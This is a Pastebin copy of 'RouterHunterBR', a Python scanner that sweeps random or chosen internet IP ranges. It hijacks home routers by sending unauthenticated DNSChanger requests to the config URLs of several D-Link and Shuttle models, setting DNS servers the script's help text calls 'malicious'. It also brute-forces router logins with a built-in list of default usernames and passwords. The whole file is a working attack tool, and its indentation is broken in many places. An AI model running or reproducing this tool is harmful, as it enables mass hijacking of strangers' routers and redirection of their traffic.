Advertisement
SH1NU11b1

routerhunter.py

Dec 1st, 2015
375
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 16.38 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. #===============================================================================================================================================
  5. # Scanner RouterHunterBR v2.0 - InurlBrasil Team
  6. # Tool used to find and perform tests in vulnerable routers on the internet.
  7. # Facebook: https://fb.com/JhonVipNet
  8. # Blog: http://blog.inurl.com.br
  9. # Twitter: https://twitter.com/jh00nbr
  10. # Github: https://github.com/jh00nbr/
  11. # Channel: https://www.youtube.com/c/Mrsinisterboy
  12. # Fapage InurlBrasil Team: https://fb.com/InurlBrasil
  13. #===============================================================================================================================================
  14.  
  15. import sys
  16. import os
  17. import argparse
  18. import itertools
  19. import requests
  20. import random
  21. import time
  22. import threading
  23. import base64
  24. import socket
  25. from datetime import datetime
  26.  
  27. banner = """
  28.           _           _           _                
  29.  ___ ___ _ _| |_ ___ ___| |_ _ _ ___| |_ ___ ___
  30. |  _| . | | |  _| -_|  _|   | | |   |  _| -_|  _|
  31. |_| |___|___|_| |___|_| |_|_|___|_|_|_| |___|_|
  32.                        BR - v2.0
  33. Tool used to find and perform tests in vulnerable routers on the internet.
  34. [ Scanner RouterHunterBR 2.0 - InurlBrasil Team - coded by Jhonathan Davi a.k.a jh00nbr - jhoonbr at protonmail.ch ]
  35. [ twitter.com/jh00nbr - github.com/jh00nbr/ - blog.inurl.com.br - www.youtube.com/c/Mrsinisterboy ]
  36. [!] legal disclaimer: Usage of RouterHunterBR for attacking targets without prior mutual consent is illegal.
  37. It is the end user's responsibility to obey all applicable local, state and federal laws.                  
  38. Developers assume no liability and are not responsible for any misuse or damage caused by this program     
  39. """
  40.  
  41. # Random ips
  42. def random_ip():
  43.     blocoa = random.randint(0,255)
  44.     blocob = random.randint(0,255)
  45.     blococ = random.randint(0,255)
  46.     blocod = random.randint(0,255)
  47.     ip = str(blocoa) + '.' + str(blocob)+ '.' + str(blococ) + '.' + str(blocod)
  48.     return ip
  49.  
  50. def range_ips(ip):
  51.     points = ip.split('.')
  52.     chunks = [map(int, point.split('-')) for point in points]
  53.     ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
  54.     for address in itertools.product(*ranges):
  55.         yield '.'.join(map(str, address))
  56.  
  57. # Random agent / List user-agents sqlmap: https://raw.githubusercontent.com/moonsea/injection.testcase/master/txt/user-agents.txt
  58. def user_agent():
  59.     ua = ['Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1)', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.4) Firefox/3.0.8)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2', 'Opera/9.21 (Windows NT 5.1; U; nl)', 'Mozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1', 'Opera/9.51 (X11; Linux i686; U; Linux Mint; en)', 'Opera/9.62 (Windows NT 5.1; U; tr) Presto/2.1.1','Opera/9.80 (Windows NT 6.0; U; it) Presto/2.6.30 Version/10.61', 'Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50']
  60.     return random.choice(ua)
  61.  
  62. # Perform the connection and operation with the router.
  63. #===============================================================================================================================================
  64. def conectar_ip(ip,rt):
  65.     try:
  66.         user_agent = {'User-Agent': 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6'}
  67.     url = "http://"+ip+rt
  68.     response = requests.get(url,headers=user_agent, timeout=5)
  69.     status = response.status_code
  70.     html = response.text
  71.     if status == 200:
  72.         if 'DNS Server Configuration' in html:
  73.                 print "\n" + "[ + ]" + hour() + bcolors.OKGREEN + "[ ! ] " + url + bcolors.ENDC
  74.                 print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] IP: [ " + ip + " ] | DNS1: " + dns1 + " DNS2: " + dns2  + bcolors.ENDC
  75.                 print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] Status: DNS changed success" + bcolors.ENDC
  76.                 print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] Cod: 200"+ bcolors.ENDC
  77.                 #print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] Model: Shuttle Tech ADSL Modem-Router 915 WM or DSL_500B"+ bcolors.ENDC
  78.                 print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] City:",info_ip(ip) + bcolors.ENDC + "\n"
  79.                
  80.     except:
  81.         print "[ + ] " + hour()+ bcolors.BRED + " [ " + ip +" ] ::: [ IS NOT VULNERABLE ]"+bcolors.ENDC
  82. #===============================================================================================================================================
  83.  
  84.  
  85. # Check Status.
  86. #===============================================================================================================================================
  87. def status(return_status):
  88.     if "200" in str(return_status):
  89.         return "200"
  90.     else:
  91.         return "not"
  92.  #===============================================================================================================================================
  93.  
  94.  
  95. # Returns information about the ip.
  96. #===============================================================================================================================================
  97. def info_ip(ip):
  98.     import json
  99.     get = requests.get("http://ipinfo.io/"+ip+"/json")
  100.     json = json.loads(get.content)
  101.     city = json['city']
  102.     if "None" in str(city):
  103.         return " "
  104.     else:
  105.         return city
  106.  #===============================================================================================================================================
  107.  
  108. # Hour.
  109. #===============================================================================================================================================
  110. def hour():
  111.     now = datetime.now()
  112.     return str(now.day) + "/" + str(now.month) + "/" + str(now.year) + " " + str(now.hour)+":"+str(now.minute)+":"+str(now.second)
  113. #===============================================================================================================================================
  114.  
  115. class bcolors:
  116.     OKGREEN = '\033[92m'
  117.     GREEN = "\033[1;32m"
  118.     GREENUNDER  =   "\033[4;32m"
  119.     RED = '\033[91m'
  120.     WARNING = '\033[93m'
  121.     BASICY = "\033[0;33m"
  122.     YELLOW = "\033[1;33m"
  123.     BRED = "\033[0;31m"
  124.     RED2 = "\033[1;31m"
  125.     UNDERLINE = '\033[4m'
  126.     ENDC = '\033[0m'
  127.  
  128. def printIP(ip,route):
  129.     print ip
  130. #===============================================================================================================================================
  131. def randIP():
  132.     ips = random_ip()
  133.     for route in [shuttle, DLink_2740R, DLink_2640B, DSL_2780B, DSL_2730B, DSL_526B]:
  134.         conectar_ip(ips,route)
  135.  
  136. # Funcion ipRange / Reference: http://cmikavac.net/2011/09/11/how-to-generate-an-ip-range-list-in-python/
  137. #===============================================================================================================================================
  138. def ipRange_wildcard(start_ip, end_ip):
  139.    start = list(map(int, start_ip.split(".")))
  140.    end = list(map(int, end_ip.split(".")))
  141.    temp = start
  142.    ip_range = []
  143.    
  144.    ip_range.append(start_ip)
  145.    while temp != end:
  146.       start[3] += 1
  147.       for i in (3, 2, 1):
  148.          if temp[i] == 256:
  149.             temp[i] = 0
  150.             temp[i-1] += 1
  151.       ip_range.append(".".join(map(str, temp)))      
  152.    return ip_range
  153. #===============================================================================================================================================
  154. #Port check.
  155. #===============================================================================================================================================
  156. def port_check(ip,port):
  157.     try:
  158.         socke = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  159.         socke.settimeout(0.5)
  160.         result = socke.connect((ip,port))
  161.         if "None" in str(result):
  162.             return True
  163.             socke.close()
  164.         else:
  165.             return False
  166.     except:
  167.         pass
  168. #===============================================================================================================================================
  169.  
  170. #Bruteforce router.
  171. #===============================================================================================================================================
  172. def bruteforce_router(ip,user,password,route):
  173.     if port_check(ip,80):
  174.         try:
  175.             data = base64.b64encode(user+":"+password)
  176.             auth = {'Authorization': "Basic "+ data}
  177.             url = "http://"+ip+route
  178.         get = requests.get(url, headers=auth, timeout=5)           
  179.         if "200" in str(get.status_code):
  180.                 print "\n" + "[ + ]" + hour() + bcolors.OKGREEN + "[ ! ] " + url + bcolors.ENDC
  181.                 print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] IP: [ " + ip + " ] | DNS1: " + dns1 + " DNS2: " + dns2  + bcolors.ENDC
  182.                 print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] Status: DNS changed success! [Bruteforce]" + bcolors.ENDC
  183.                 print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] Cod: 200"+ bcolors.ENDC
  184.                 print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] Model: DSLink_260E"+ bcolors.ENDC
  185.                 print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] City:",info_ip(ip) + bcolors.ENDC + "\n\n"
  186.         except:
  187.              
  188.             pass
  189.     else:
  190.         return False        
  191. #===============================================================================================================================================
  192.  
  193. if __name__ == "__main__":
  194.     parser = argparse.ArgumentParser(description='The Routerhunter was designed to run over the Internet looking for defined ips tracks or random in order to automatically exploit the vulnerability DNSChanger on home routers.', prog='Routerhunter', formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=100,width=200))
  195.     parser.add_argument("-range", "--range", help="Set range of IP", metavar= "192.168.1.0-255", default="", required=False)
  196.     parser.add_argument("-bruteforce", "--bruteforce", help = "Brute force with users and passwords on routers that requires authentication, forcing alteration of dns.", action="store_true")
  197.     parser.add_argument("-startip", "--startip", help="Start - IP range customized with wildcard / 201.*.*.*", metavar= "192.168.*.*", default="", required=False)
  198.     parser.add_argument("-endip", "--endip", help="End - IP range customized with wildcard / 201.*.*.*", metavar= "192.168.*.*", default="", required=False)
  199.     parser.add_argument("-dns1", "--dns1", help = "Define malicious dns1", metavar= "8.8.8.8", default="8.8.8.8", required=True)
  200.     parser.add_argument("-dns2", "--dns2", help = "Define malicious dns2", metavar= "8.8.4.4", default="8.8.4.4", required=True)
  201.     parser.add_argument("--threads", help = "Set threads numbers", metavar= "10", default=1)
  202.     parser.add_argument("-rip", "--randomip", help = "Randomizing ips routers", action="store_true")
  203.     parser.add_argument("-lmtip", "--limitip", help = "Define limite random ip", metavar= "10", default=1)
  204.     args = parser.parse_args()
  205.     dns1 = args.dns1 #dns1
  206.     dns2 = args.dns2 #dns2
  207.     rngip = args.range # Rangeip
  208.     start_rangeip = args.startip # Start ip asterisk
  209.         end_rangeip = args.endip # End ip asterisk
  210.     MAX_CONEXOES = args.threads
  211.     lmt = args.limitip # Limit IP
  212.  
  213.     # GET vulnerable routers.
  214.     #===============================================================================================================================================
  215.     shuttle = "/dnscfg.cgi?dnsPrimary="+dns1+"&dnsSecondary="+dns2+"&dnsDynamic=0&dnsRefresh=1"
  216.         DSL_2780B = "/dnscfg.cgi?dnsSecondary="+dns2+"&dnsIfcsList=&dnsRefresh=1"
  217.         DSL_2730B = "/dnscfg.cgi?dnsPrimary="+dns1+"&dnsSecondary="+dns2+"&dnsDynamic=0&dnsRefresh=1&dnsIfcsList="
  218.         DSL_526B = "/dnscfg.cgi?dnsSecondary="+dns2+"&dnsDynamic=0&dnsRefresh=1"
  219.     DLink_2740R = "/dns_1?Enable_DNSFollowing=1&dnsPrimary="+dns1+"&dnsSecondary="+dns2
  220.     DLink_2640B = "/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary="+dns1+"&dnsSecondary="+dns2+"&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP"
  221.     dns1_explode = dns1.split(".")
  222.    
  223.         # DSLink 260E - Exploiting - Defaut Passwords DNS Change / https://www.youtube.com/watch?v=tNjy91g2Rak
  224.         DSLink_260E = "/Action?dns_status=1&dns_poll_timeout=2&id=57&dns_server_ip_1="+dns1_explode[0]+"&dns_server_ip_2="+dns1_explode[1]+"&dns_server_ip_3="+dns1_explode[2]+"&dns_server_ip_4="+dns1_explode[3]+"&priority=0&cmdAdd=Add"
  225.         #===============================================================================================================================================
  226.    
  227.         # Pre usernames and passwords set for brute force.
  228.         #===============================================================================================================================================
  229.         users = ["admin", "root", "adm", "root","support", "tech", "", "security", "User", "comcast", "user", "monitor", "Administrator", "operator", "admn", "D-Link", "sysadm", "super", "!root", "ctbc", "su", "TMAR#DLKT20060313", "TMAR#DLKT20060307", "TMAR#DLKT20090202", "TMAR#DLKT20050227", "TMAR#DLKT20050516", "TMAR#DLKT20050227", "TMAR#DLKT20050519", "TMAR#DLKT20050516", "TMAR#DLKT20060627", "TMAR#DLKT20060205", "TMARDLKT93319", "sysadmin", "telecom"]
  230.         passwords = ["admin", "password", "root", "", "1234", "gvt12345", "teste", "", "1234", "1212", "supportuser", "s85Tcf", "normaluser", "parks", "Administrator", "administrator", "blank"]
  231.         #===============================================================================================================================================
  232.  
  233.     if '*' in start_rangeip or '*' in end_rangeip:
  234.             os.system('clear')
  235.             print banner
  236.             print "\n\n[*] Testing started in range: [ "+start_rangeip+" ] at [ " + hour() + " ]\n"
  237.             ip1 = start_rangeip.replace('*', str(0))
  238.             ip2 = end_rangeip.replace('*', str(255))
  239.             for ip in ipRange_wildcard(ip1,ip2):
  240.                 for route in [shuttle, DLink_2740R, DLink_2640B, DSL_2780B, DSL_2730B, DSL_526B]:
  241.             lista_threads = []
  242.             while threading.active_count() > MAX_CONEXOES:
  243.                 print("Esperando 1s...")
  244.             time.sleep(1)
  245.             thread = threading.Thread(target=conectar_ip, args=(ip,route))
  246.             lista_threads.append(thread)
  247.             thread.start()
  248.             for thread in lista_threads:
  249.                 thread.join()
  250.  
  251.     if args.range:
  252.             if args.bruteforce:
  253.                 os.system('clear')
  254.                 print banner
  255.                 print "\n\n[*] Bruteforce started in routers: [ "+rngip+" ] at [ " + hour() + " ]\n"
  256.                 for ips in range_ips(rngip):
  257.                 if port_check(ips,80):
  258.                     for user in users:
  259.                             for password in passwords:
  260.                                 for route in [DSLink_260E]:
  261.                             lista_threads = []
  262.                             while threading.active_count() > MAX_CONEXOES:             
  263.                             time.sleep(1)
  264.                             thread = threading.Thread(target=bruteforce_router, args=(ips,user,password,route))
  265.                             lista_threads.append(thread)
  266.                                 thread.start()
  267.                         for thread in lista_threads:
  268.                                 thread.join()
  269.  
  270.         else:        
  271.                 os.system('clear')
  272.                 print banner
  273.                 print "\n\n[*] Testing started in range: [ "+rngip+" ] at [ " + hour()+ " ]\n"
  274.             for ips in range_ips(rngip):
  275.                     for route in [shuttle, DLink_2740R, DLink_2640B, DSL_2780B, DSL_2730B, DSL_526B]:
  276.                 lista_threads = []
  277.                 while threading.active_count() > MAX_CONEXOES:
  278.                     print("Esperando 1s...")
  279.                         time.sleep(1)
  280.                         thread = threading.Thread(target=conectar_ip, args=(ips,route))
  281.                     lista_threads.append(thread)
  282.                         thread.start()
  283.                 for thread in lista_threads:
  284.                     thread.join()
  285.  
  286.     if args.randomip:
  287.             os.system('clear')
  288.             print banner
  289.             print "\n\n[*] Testing started in random ips! at [ "+ hour() + " ]\n"
  290.         valida = 0
  291.         for valida in range(int(lmt)):
  292.                 lista_threads = []
  293.         while threading.active_count() > MAX_CONEXOES:
  294.                 print("Esperando 1s...")
  295.             time.sleep(1)
  296.         thread = threading.Thread(target=randIP, args=())
  297.         lista_threads.append(thread)
  298.         thread.start()
  299.         for thread in lista_threads:
  300.                 thread.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement